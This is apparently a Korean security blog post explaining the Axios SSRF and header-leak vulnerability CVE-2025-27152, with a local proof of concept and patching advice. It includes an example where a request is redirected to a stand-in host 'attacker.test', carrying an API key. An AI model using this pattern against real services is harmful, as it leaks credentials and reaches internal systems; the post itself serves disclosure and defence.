CyberSecurity/Security🔐

⚠️ 인기 HTTP 라이브러리 Axios, 심각한 SSRF 취약점 발견!

곰곰네 일기 2025. 4. 15. 14:03
반응형

자바스크립트와 Node.js 환경에서 가장 많이 사용하는 HTTP 클라이언트 중 하나인 Axios에서
심각한 보안 취약점이 발견됐습니다.

이 취약점은 CVE-2025-27152로 등록되었으며,
버전 1.7.9 이하에서 발생하며 SSRF(Server-Side Request Forgery)와 인증 정보 유출 위험이 있습니다.


💥 문제 상황 요약

Axios에서는 axios.create()로 baseURL과 헤더 등을 설정해 사내 API 호출에 사용하는 경우가 많습니다.
하지만, 다음과 같이 절대 URL(absolute URL)이 인자로 들어오면 문제는 발생합니다.

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

const userId = "http://attacker.test/";
await internalAPIClient.get(userId); 
// ❗ 실제 요청: http://attacker.test/ 로 전송됨!
// → X-API-KEY도 함께 유출됨

🧨 왜 위험한가요?

  • baseURL이 설정되어 있어도 절대 URL이 전달되면 이를 우선 처리합니다.
  • 이로 인해 내부 API 전용 인증키(X-API-KEY)가 공격자 서버로 유출될 수 있습니다.
  • 공격자는 이를 이용해 사내망에 요청을 위장하여 전송(SSRF)할 수 있습니다.

🧪 PoC (Proof of Concept): 실제 시연 예제

아래는 이 취약점을 이용한 로컬 재현 예제입니다.

🛠 서버 준비

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python3 -m http.server -d /tmp/server1 10001 &
python3 -m http.server -d /tmp/server2 10002 &

🧪 테스트 스크립트 (main.js)

import axios from "axios";

const client = axios.create({
  baseURL: "http://localhost:10001/"
});

const response = await client.get("http://localhost:10002/");
console.log(response.data); // 출력: "this is server2"

▶️ 실행

node main.js

결과적으로 baseURL을 무시하고 다른 서버로 요청이 전송되는 걸 확인할 수 있습니다.


🎯 영향 및 보안 위협

이 취약점은 다음과 같은 보안 문제를 일으킬 수 있습니다:

1️⃣ 인증 정보 유출

  • axios.create()를 통해 설정한 비공개 API 키, 토큰, 쿠키모든 헤더 값이 외부로 유출될 수 있습니다.

2️⃣ SSRF(Server-Side Request Forgery)

  • 공격자가 내부망(예: 127.0.0.1, metadata 서버 등)을 대상으로 요청을 유도할 수 있습니다.
  • 이를 통해 내부 시스템 정보를 스캔하거나 조작할 수 있습니다.

✅ 대응 방안

🔒 1. Axios 업데이트 필수!

해당 문제는 1.8.2 버전에서 패치되었습니다.

npm install axios@^1.8.2

🧰 2. 절대 URL 사용 제한

  • 외부 입력을 통해 URL을 전달받는 경우 반드시 유효성 검사를 수행하세요.
  • 예: 도메인 화이트리스트, URL 정규 표현식 검증 등

🔍 3. 취약점 점검 도구 활용

  • 의심스러운 URL 사용 여부를 axios.get() 인자에서 로그로 남기거나,
  • 보안 툴에서 SSRF 테스트를 주기적으로 수행하세요.

 

🧠 마무리하며

이번 Axios 취약점은 간단한 실수 하나로도 내부 인증정보가 외부로 유출될 수 있음을 보여주는 사례입니다.
특히 Axios처럼 널리 쓰이는 라이브러리는 하나의 취약점이 수많은 프로젝트에 영향을 줄 수 있어 더더욱 주의가 필요합니다.

🔐 모든 의심 가능한 입력은 철저히 검증하고,
📦 모든 의존성은 정기적으로 최신 버전으로 업데이트하세요!

728x90
반응형